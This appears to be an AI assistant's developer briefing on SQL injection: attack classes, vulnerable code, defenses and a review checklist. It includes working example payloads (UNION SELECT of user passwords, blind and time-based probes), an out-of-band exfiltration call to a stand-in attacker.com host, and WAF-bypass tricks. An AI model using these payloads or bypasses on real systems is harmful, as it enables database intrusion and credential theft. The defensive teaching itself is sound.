Claude on Question 19, Sep 23

SQL Injection: A Developer Briefing

Core mechanism

Every SQL injection has the same root cause: untrusted data is concatenated into a query string, so the database parser interprets attacker input as code rather than as data. Everything below is a variation on how the attacker exploits that, or where it happens. If your team internalizes one thing, it's that the fix is separating code from data at the driver level — not filtering "bad characters."

Classification 1: By how the attacker retrieves results

This is the classic taxonomy and it matters mostly for detection and understanding why "we don't display query results" isn't a defense.

In-band SQLi

Data comes back over the same channel used for the attack.

UNION-based — The attacker appends a UNION SELECT to graft their own result rows onto the legitimate result set. Requires matching column count and compatible types, which attackers determine by iteration.

/products?category=shoes' UNION SELECT username, password FROM users--

Error-based — The attacker forces the database into an error state where the error message itself carries data. Verbose DB errors reaching the user are the enabler. Common in SQL Server (CONVERT type-coercion errors), Oracle (XMLType, CTXSYS.DRITHSX.SN), and older MySQL (EXTRACTVALUE, UPDATEXML).

Inferential ("blind") SQLi

No data is returned directly. The attacker asks yes/no questions and reads the answer from application behavior. This is fully exploitable — it's slower, not safer.

Boolean-based — Inject a condition and observe whether the page renders differently, returns a different status code, or changes length.

?id=5 AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'

Time-based — Inject a conditional delay and measure response time. Works even when the response is byte-identical.

?id=5; IF (condition) WAITFOR DELAY '0:0:5'--

(SLEEP() in MySQL, pg_sleep() in Postgres, dbms_pipe.receive_message() in Oracle.)

Out-of-band SQLi

The database is made to initiate a network connection to attacker-controlled infrastructure, exfiltrating data in the hostname or URL. Useful when the response channel is unusable or asynchronous.

Examples of the primitives: xp_dirtree / xp_cmdshell (SQL Server), UTL_HTTP / DBMS_LDAP (Oracle), LOAD_FILE('\\\\attacker.com\\share') (MySQL on Windows).

Practical implication: egress filtering on your database subnet is a genuine control here, and DNS is the usual channel because it's rarely blocked.

Classification 2: By injection context

This is the taxonomy I'd emphasize for developers, because it maps directly to code patterns and tells you where parameterization won't save you.

String context

Input lands inside quotes. Attacker breaks out with '.

Numeric context

Input lands unquoted. No quote character needed, so input validation that only strips quotes fails completely. Very commonly missed.

"SELECT * FROM orders WHERE id = " + userId   -- userId = "1 OR 1=1"

Identifier context — table names, column names

Cannot be parameterized. Placeholders bind values, not schema objects. This requires an allowlist.

# Broken — and no amount of ? placeholders fixes it
cursor.execute(f"SELECT * FROM {table_name} WHERE id = ?", (id,))

ORDER BY context

Also not parameterizable. A very frequent real-world hole because sort columns feel like harmless UI state. Note that ORDER BY is also a convenient oracle for blind injection via CASE expressions.

LIMIT / OFFSET, IN (...) lists

LIMIT is parameterizable on most modern drivers but historically wasn't. IN clauses need one placeholder per element generated programmatically — teams often give up and concatenate.

LIKE context

Parameterization prevents injection, but % and _ in user input still pass through as wildcards. Usually a logic/DoS concern rather than data disclosure.

Stacked (batched) queries

Whether ; lets an attacker append an entirely new statement depends on the driver. PHP/MySQLi query() blocks it; .NET + SQL Server and Postgres drivers generally allow it. Don't rely on this as a boundary — it varies by version and config.

Classification 3: Second-order (stored) SQLi

The payload is inserted safely via a parameterized query, sits inert in the database, and then detonates when a different code path reads it back out and concatenates it into a new query.

Typical shape: registration stores O'Brien'-- correctly; a nightly batch job or admin report later builds a query with it. This defeats perimeter filtering entirely and is the most common finding that automated scanners miss.

Rule to communicate: data from your own database is untrusted input for query-construction purposes. Trust boundaries are about how data is used, not where it came from.

Where teams get surprised

Stored procedures are not automatically safe. They're safe only if they don't build dynamic SQL internally. This is vulnerable:

CREATE PROCEDURE GetUser @name NVARCHAR(50) AS
  EXEC('SELECT * FROM users WHERE name = ''' + @name + '''')

Use sp_executesql with parameters, or avoid dynamic SQL in the proc.

ORMs are not automatically safe. Every ORM has escape hatches, and HQL/JPQL/Criteria string fragments are injectable:

// Vulnerable — HQL injection
session.createQuery("FROM User WHERE name = '" + name + "'");

# Vulnerable
User.where("name = '#{params[:name]}'")
# Safe
User.where("name = ?", params[:name])

Escaping functions are charset-dependent. The classic addslashes/GBK bypass: in certain multibyte encodings, the attacker supplies a byte sequence where the injected backslash gets consumed as part of a valid multibyte character, freeing the quote. Set your connection charset explicitly (utf8mb4) and don't hand-roll escaping.

Blocklists and WAFs are bypassable. Comment injection (/**/ for whitespace), case variation, inline comments (/*!50000UNION*/), encoding, and function-based string construction (CHAR(), CONCAT()) all defeat pattern matching. Treat a WAF as a detection/latency control, never as the fix.

Defenses, in priority order

1. Parameterized queries everywhere. This is the fix. Prepared statements with bound parameters, or an ORM's safe query API. The database receives the query plan and the data separately, so data can never be reparsed as code.

2. Allowlists for anything that can't be a parameter. Table names, column names, sort columns, sort direction. Map user input to a fixed set of known-good values — never pass the string through, even validated:

SORT_COLUMNS = {"name": "u.name", "created": "u.created_at"}
column = SORT_COLUMNS.get(request.args.get("sort"), "u.created_at")

3. Least privilege. Application DB accounts should not own schema, should not have FILE/xp_cmdshell/UTL_HTTP access, and read-mostly services should use read-only credentials. This caps blast radius when — not if — something slips through.

4. Generic error responses. Log full detail server-side; return opaque errors to clients. Kills error-based SQLi and slows blind exploitation significantly.

5. Input validation as defense in depth. Type-check, length-check, and format-check because it's good hygiene — but state clearly that it is not the control preventing injection. Teams that believe validation is the fix stop parameterizing.

6. Egress controls on DB hosts. Blocks out-of-band exfiltration.

Review checklist / what to grep for

• •String concatenation or interpolation adjacent to SELECT, INSERT, UPDATE, DELETE, WHERE, ORDER BY
• •Format strings in query construction: f"...", %, .format(), +, ${}, #{}, backtick templates
• •execute(, exec(, createQuery(, raw(, rawQuery(, query( taking a single composed string
• •EXEC( / EXECUTE IMMEDIATE / sp_executesql without parameters inside stored procedures
• •Dynamic identifiers: any variable appearing where a table or column name belongs
• •Read paths that consume DB-sourced strings and build new queries (second-order)

Tooling to wire into CI

• •SAST with taint tracking (CodeQL, Semgrep, Snyk Code) — configure it to flag the patterns above and fail the build.
• •DAST/scanner in a staging pipeline; sqlmap against your own endpoints is the practical benchmark for whether blind injection is reachable.
• •A custom lint rule banning string-built queries in your primary language, with a documented, reviewed exception process. This is usually higher-value than any scanner because it prevents rather than detects.

OWASP's SQL Injection Prevention Cheat Sheet is a good handout to pair with this.